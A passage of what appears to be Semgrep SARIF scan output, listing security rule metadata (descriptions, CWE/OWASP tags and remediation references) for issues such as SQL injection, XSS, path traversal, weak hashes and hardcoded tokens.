CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application accepts potentially user-controlled input `$PROP` which can control the location of the current window context. This can lead two types of vulnerabilities open-redirection and Cross-Site-Scripting (XSS) with JavaScript URIs. It is recommended to validate user-controllable input before allowing it to control the redirection."},"help":{"markdown":"The application accepts potentially user-controlled input `$PROP` which can control the location of the current window context. This can lead two types of vulnerabilities open-redirection and Cross-Site-Scripting (XSS) with JavaScript URIs. It is recommended to validate user-controllable input before allowing it to control the redirection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.open-redirect.js-open-redirect)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application accepts potentially user-controlled input `$PROP` which can control the location of the current window context. This can lead two types of vulnerabilities open-redirection and Cross-Site-Scripting (XSS) with JavaScript URIs. It is recommended to validate user-controllable input before allowing it to control the redirection."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.open-redirect.js-open-redirect","id":"javascript.browser.security.open-redirect.js-open-redirect","name":"javascript.browser.security.open-redirect.js-open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.open-redirect.js-open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$FUNC` returns a pointer to the memory owned by `$STR`. This pointer is invalid after `$STR` goes out of scope, which can trigger a use after free."},"help":{"markdown":"`$FUNC` returns a pointer to the memory owned by `$STR`. This pointer is invalid after `$STR` goes out of scope, which can trigger a use after free.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.return-c-str.return-c-str)\n - [https://wiki.sei.cmu.edu/confluence/display/c/DCL30-C.+Declare+objects+with+appropriate+storage+durations](https://wiki.sei.cmu.edu/confluence/display/c/DCL30-C.+Declare+objects+with+appropriate+storage+durations)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"`$FUNC` returns a pointer to the memory owned by `$STR`. This pointer is invalid after `$STR` goes out of scope, which can trigger a use after free."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.return-c-str.return-c-str","id":"cpp.lang.security.strings.return-c-str.return-c-str","name":"cpp.lang.security.strings.return-c-str.return-c-str","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.return-c-str.return-c-str"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Instead, use a suitable password hashing function such as bcrypt. You can use the `bcrypt` gem."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Instead, use a suitable password hashing function such as bcrypt. You can use the `bcrypt` gem.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Instead, use a suitable password hashing function such as bcrypt. You can use the `bcrypt` gem."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.md5-used-as-password.md5-used-as-password","id":"ruby.lang.security.md5-used-as-password.md5-used-as-password","name":"ruby.lang.security.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password","id":"ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password","name":"ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The size parameter to `snprintf` is derived from the source data, not the destination buffer. This may trigger a buffer overflow and memory corruption if `$SRC` is larger than `$DEST`."},"help":{"markdown":"The size parameter to `snprintf` is derived from the source data, not the destination buffer. This may trigger a buffer overflow and memory corruption if `$SRC` is larger than `$DEST`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.snprintf-source-size.snprintf-source-size)\n - [https://cwe.mitre.org/data/definitions/787.html](https://cwe.mitre.org/data/definitions/787.html)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator](https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator)\n","text":"The size parameter to `snprintf` is derived from the source data, not the destination buffer. This may trigger a buffer overflow and memory corruption if `$SRC` is larger than `$DEST`."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.snprintf-source-size.snprintf-source-size","id":"cpp.lang.security.strings.snprintf-source-size.snprintf-source-size","name":"cpp.lang.security.strings.snprintf-source-size.snprintf-source-size","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.snprintf-source-size.snprintf-source-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.path-traversal.file-taint.file-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.path-traversal.file-taint.file-taint","id":"csharp.dotnet-core.path-traversal.file-taint.file-taint","name":"csharp.dotnet-core.path-traversal.file-taint.file-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.path-traversal.file-taint.file-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that do not have JavaScript disabled. Consider disabling JavaScript wherever the functionality is not required, following the principle of least privelege."},"help":{"markdown":"Webviews were observed that do not have JavaScript disabled. Consider disabling JavaScript wherever the functionality is not required, following the principle of least privelege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-allow-js.swift-webview-config-allows-js)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that do not have JavaScript disabled. Consider disabling JavaScript wherever the functionality is not required, following the principle of least privelege."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-allow-js.swift-webview-config-allows-js","id":"swift.webview.webview-allow-js.swift-webview-config-allows-js","name":"swift.webview.webview-allow-js.swift-webview-config-allows-js","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-allow-js.swift-webview-config-allows-js"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of the 'blocksize' argument in a HTTPSConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below."},"help":{"markdown":"Found usage of the 'blocksize' argument in a HTTPSConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-httpsconn)\n","text":"Found usage of the 'blocksize' argument in a HTTPSConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-httpsconn","id":"python.lang.compatibility.python37.python37-compatibility-httpsconn","name":"python.lang.compatibility.python37.python37-compatibility-httpsconn","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-httpsconn"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD2 hash algorithm which is considered insecure. MD2 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"help":{"markdown":"Detected MD2 hash algorithm which is considered insecure. MD2 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2)\n - [https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms](https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected MD2 hash algorithm which is considered insecure. MD2 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2","id":"python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2","name":"python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded password is used as a default argument to '$FUNC'. This could be dangerous if a real password is not supplied."},"help":{"markdown":"Hardcoded password is used as a default argument to '$FUNC'. This could be dangerous if a real password is not supplied.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Hardcoded password is used as a default argument to '$FUNC'. This could be dangerous if a real password is not supplied."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument","id":"python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument","name":"python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"GitHub Token detected"},"help":{"markdown":"GitHub Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-github-token.detected-github-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"GitHub Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-github-token.detected-github-token","id":"generic.secrets.security.detected-github-token.detected-github-token","name":"generic.secrets.security.detected-github-token.detected-github-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-github-token.detected-github-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf","id":"go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf","name":"go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing","id":"python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing","name":"python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`Printing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users."},"help":{"markdown":"`Printing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.printed-request.printed-request)\n - [https://www.php.net/manual/en/function.htmlentities.php](https://www.php.net/manual/en/function.htmlentities.php)\n - [https://www.php.net/manual/en/reserved.variables.request.php](https://www.php.net/manual/en/reserved.variables.request.php)\n - [https://www.php.net/manual/en/reserved.variables.post.php](https://www.php.net/manual/en/reserved.variables.post.php)\n - [https://www.php.net/manual/en/reserved.variables.get.php](https://www.php.net/manual/en/reserved.variables.get.php)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"`Printing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.printed-request.printed-request","id":"php.lang.security.injection.printed-request.printed-request","name":"php.lang.security.injection.printed-request.printed-request","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.printed-request.printed-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Running flask app with host 0.0.0.0 could expose the server publicly."},"help":{"markdown":"Running flask app with host 0.0.0.0 could expose the server publicly.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Running flask app with host 0.0.0.0 could expose the server publicly."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host","id":"python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host","name":"python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host","properties":{"precision":"very-high","tags":["CWE-668: Exposure of Resource to Wrong Sphere","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf)\n - [https://django-crispy-forms.readthedocs.io/en/latest/form_helper.html](https://django-crispy-forms.readthedocs.io/en/latest/form_helper.html)\n - [https://docs.djangoproject.com/en/5.0/ref/csrf/](https://docs.djangoproject.com/en/5.0/ref/csrf/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/csrf](https://owasp.org/www-community/attacks/csrf)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"helpUri":"https://semgrep.dev/r/python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf","id":"python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf","name":"python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a call to `$FUNC()` in an attempt to HTML escape the string `$STR`. Manually sanitizing input through a manually built list can be circumvented in many situations, and it's better to use a well known sanitization library such as `sanitize-html` or `DOMPurify`."},"help":{"markdown":"Detected a call to `$FUNC()` in an attempt to HTML escape the string `$STR`. Manually sanitizing input through a manually built list can be circumvented in many situations, and it's better to use a well known sanitization library such as `sanitize-html` or `DOMPurify`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization)\n - [https://www.npmjs.com/package/dompurify](https://www.npmjs.com/package/dompurify)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected a call to `$FUNC()` in an attempt to HTML escape the string `$STR`. Manually sanitizing input through a manually built list can be circumvented in many situations, and it's better to use a well known sanitization library such as `sanitize-html` or `DOMPurify`."},"helpUri":"https://semgrep.dev/r/javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization","id":"javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization","name":"javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Specifying the regex timeout leaves the system vulnerable to a regex-based Denial of Service (DoS) attack. Consider setting the timeout to a short amount of time like 2 or 3 seconds. If you are sure you need an infinite timeout, double check that your context meets the conditions outlined in the \"Notes to Callers\" section at the bottom of this page: https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0"},"help":{"markdown":"Specifying the regex timeout leaves the system vulnerable to a regex-based Denial of Service (DoS) attack. Consider setting the timeout to a short amount of time like 2 or 3 seconds. If you are sure you need an infinite timeout, double check that your context meets the conditions outlined in the \"Notes to Callers\" section at the bottom of this page: https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.infinitematchtimeout](https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.infinitematchtimeout)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0)\n","text":"Specifying the regex timeout leaves the system vulnerable to a regex-based Denial of Service (DoS) attack. Consider setting the timeout to a short amount of time like 2 or 3 seconds. If you are sure you need an infinite timeout, double check that your context meets the conditions outlined in the \"Notes to Callers\" section at the bottom of this page: https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout","id":"csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout","name":"csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: 